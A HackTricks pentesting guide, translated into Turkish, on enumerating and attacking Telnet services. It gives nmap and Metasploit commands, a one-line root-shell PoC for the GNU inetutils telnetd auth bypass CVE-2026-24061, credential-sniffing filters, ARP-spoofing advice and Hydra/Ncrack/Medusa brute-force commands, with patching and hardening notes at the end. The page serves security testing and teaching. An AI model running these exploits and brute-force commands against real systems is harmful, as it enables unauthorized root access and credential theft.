23 - Pentesting Telnet
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
Telnet, kullanıcılara ağ üzerinden bir bilgisayara güvensiz bir şekilde erişim sağlar.
Varsayılan port: 23
23/tcp open telnet
Enumeration
Banner Grabbing
nc -vn <IP> 23
Tüm ilginç enumeration işlemleri nmap ile gerçekleştirilebilir:
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
The script telnet-ntlm-info.nse will obtain NTLM info (Windows versions).
From the telnet RFC: In the TELNET Protocol are various “seçenekler” that will be sanctioned and may be used with the “DO, DON’T, WILL, WON’T” structure to allow a user and server to agree to use a more elaborate (or perhaps just different) set of conventions for their TELNET connection. Such options could include changing the character set, the echo mode, etc.
Bu seçenekleri listelemenin mümkün olduğunu biliyorum ama nasıl yapılacağını bilmiyorum; biliyorsanız lütfen bana bildirin.
Telnet Seçeneklerini / Özelliklerini Listeleme
Telnet uses IAC + DO/DONT/WILL/WONT negotiations to enable options. You can observe supported options by capturing the initial negotiation and by probing for specific features.
Nmap seçenek/özellik testleri
# Detect support for the Telnet ENCRYPT option
nmap -p 23 --script telnet-encryption <IP>
# Enumerate Microsoft Telnet NTLM info (NetBIOS/DNS/OS build)
nmap -p 23 --script telnet-ntlm-info <IP>
# Brute-force via NSE (alternative to Hydra/Medusa)
nmap -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=pass.txt <IP>
The telnet-encryption scripti ENCRYPT seçeneğinin desteklenip desteklenmediğini kontrol eder; bazı uygulamalar tarihsel olarak bu seçeneği yanlış ele almış ve savunmasız kalmışlardır, ancak script yalnızca desteği kontrol eder.
telnet-ntlm-info, Microsoft Telnet NTLM etkin olduğunda NTLM meta verilerini (NetBIOS/DNS/OS build) ifşa eder.
telnet-brute, Telnet için bir NSE brute-force auditorıdır.
Brute force
Yapılandırma dosyası
/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet
HackTricks Otomatik Komutlar
Protocol_Name: Telnet #Protocol Abbreviation if there is one.
Port_Number: 23 #Comma separated if there is more than one.
Protocol_Description: Telnet #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23
Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}
Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
Son Zafiyetler (2022-2026)
- CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860): telnet servisindeki hatalı giriş doğrulaması, uzaktaki saldırganların gömülü kimlik bilgileriyle oturum açmasına ve OS komutları enjekte etmesine izin verir; firmware 1.04B05 veya sonrasında düzeltildi.
- CVE-2023-40478 – NETGEAR RAX30: Telnet CLI
passwdkomutundaki stack tabanlı buffer overflow, network-adjacent ortamdan root olarak kod çalıştırmaya imkan tanır; kimlik doğrulama gerekir fakat baypas edilebilir. - CVE-2022-39028 – GNU inetutils telnetd: İki baytlık bir dizi (
0xff 0xf7/0xff 0xf8)telnetd’de NULL-pointer dereference tetikleyebilir ve tekrar eden çöküşler inetd’nin servisi devre dışı bırakmasına (DoS) yol açabilir.
Bu CVE’leri zafiyet triage sırasında akılda tutun—hedef yamalanmamış bir firmware veya eski inetutils Telnet daemonu çalıştırıyorsa, doğrudan kod yürütme veya yıkıcı bir DoS için düz bir yolunuz olabilir.
CVE-2026-24061 — GNU Inetutils telnetd auth bypass (Critical)
Primitive: Telnet NEW_ENVIRON istemcilerin option negotiation sırasında environment değişkenleri göndermesine izin verir; inetutils telnetd login şablonunda %U’yu getenv("USER") ile ikame eder ve bunu doğrudan /usr/bin/login’a geçirir, böylece argv-level option injection (kabuk genişletmesi olmadan) sağlar.
Root cause: sürümler 1.9.3–2.7 %U’yü filtrelemeden genişletir, bu yüzden USER değeri - ile başlarsa login bayrağı olarak parse edilir. Örneğin, %U -f root olur, bu da /usr/bin/login -h <hostname> "-f root" üretir ve login -f ile kimlik doğrulamayı atlar.
Exploit flow:
- Telnet servisine bağlanın ve
USER=-f rootayarlamak için NEW_ENVIRON müzakeresini yapın. telnetd, saldırgan kontrollü%Udeğeri dahil olacak şekilde login argv’sini oluşturur./usr/bin/login,-f root’ı “önceden kimlik doğrulanmış kullanıcı root” olarak yorumlar ve bir root shell başlatır.
PoC
# Inject USER via NEW_ENVIRON and obtain a root shell
USER='-f root' telnet -a <ip>
Yama notu: inetutils 2.7-2 sanitize() helper’ını tanıtarak login argv’sine yerleştirmeden önce - ile başlayan veya boşluk/metakarakter içeren değerleri reddeder ve option injection’ı engeller.
Tespit/doğrulama: Açık daemon’ları şu komutlarla belirleyin: telnetd --version, dpkg -l | grep inetutils, systemctl status inetutils-telnetd, veya netstat -tlnp | grep :23.
Önlemler
- Patch/upgrade Etkilenen paketleri derhal yamalayın/güncelleyin (ör. Debian düzeltmeleri
2:2.4-2+deb12u2,2:2.6-3+deb13u1, ve2:2.7-2içinde). - Disable Telnet veya yama uygulanırken erişimi güvenilir yönetim ağlarıyla sınırlayın.
Sniffing Credentials & Man-in-the-Middle
Telnet her şeyi, kimlik bilgileri de dahil olmak üzere, clear-text olarak iletir. Onları yakalamanın iki hızlı yolu:
# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'
# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)
Aktif MITM için, ARP spoofing (ör. arpspoof/ettercap) ile aynı sniffing filtrelerini birleştirerek anahtarlamalı ağlarda parolaları yakalayın.
Automated Brute-force / Password Spraying
# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>
# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>
# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
Çoğu IoT botneti (Mirai varyantları) hâlâ port 23’ü küçük varsayılan kimlik bilgisi sözlükleriyle tarıyor—bu mantığı taklit etmek zayıf cihazları hızlıca tespit edebilir.
Exploitation & Post-Exploitation
Metasploit’in birkaç kullanışlı modülü şunlardır:
auxiliary/scanner/telnet/telnet_version– banner ve seçenek keşfi.auxiliary/scanner/telnet/brute_telnet– çoklu iş parçacıklı bruteforce.auxiliary/scanner/telnet/telnet_encrypt_overflow– Solaris 9/10 Telnet’teki (ENCRYPT seçeneğinin işlenmesi) zafiyete karşı RCE.exploit/linux/mips/netgear_telnetenable– birçok NETGEAR router’da hazırlanmış bir paketle Telnet servisini etkinleştirir.
Bir shell elde edildikten sonra unutmayın ki TTY’ler genellikle sınırlıdır; yükseltmek için python -c 'import pty;pty.spawn("/bin/bash")' kullanın veya HackTricks TTY tricks.
Güçlendirme & Tespit (Blue team corner)
- SSH tercih edin ve Telnet servisini tamamen devre dışı bırakın.
- Telnet gerekli ise, sadece yönetim VLAN’larına bağlayın, ACL’leri uygulayın ve daemon’ı TCP wrappers (
/etc/hosts.allow) ile sarın. - Legacy
telnetdimplementasyonlarınıssl-telnetveyatelnetd-sslile değiştirerek taşıma katmanında şifreleme ekleyin, ancak bu yalnızca iletimdeki veriyi korur—parola tahmini hâlâ kolaydır. - Port 23’e giden çıkış trafiğini izleyin; ihlaller genellikle katı HTTP egress filtrelerini atlatmak için Telnet üzerinden reverse shells başlatır.
References
- OffSec – CVE-2026-24061 – GNU InetUtils telnetd Authentication Bypass Vulnerability
- Inetutils sanitize() fix (ccba9f748aa8d50a38d7748e2e60362edd6a32cc)
- NVD – CVE-2026-24061
- Debian Security Tracker – CVE-2026-24061
- Canadian Centre for Cyber Security Alert AL26-002 (CVE-2026-24061)
- NVD – CVE-2022-39028 inetutils
telnetdDoS - NVD – CVE-2024-45698 D-Link DIR-X4860 Telnet RCE
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


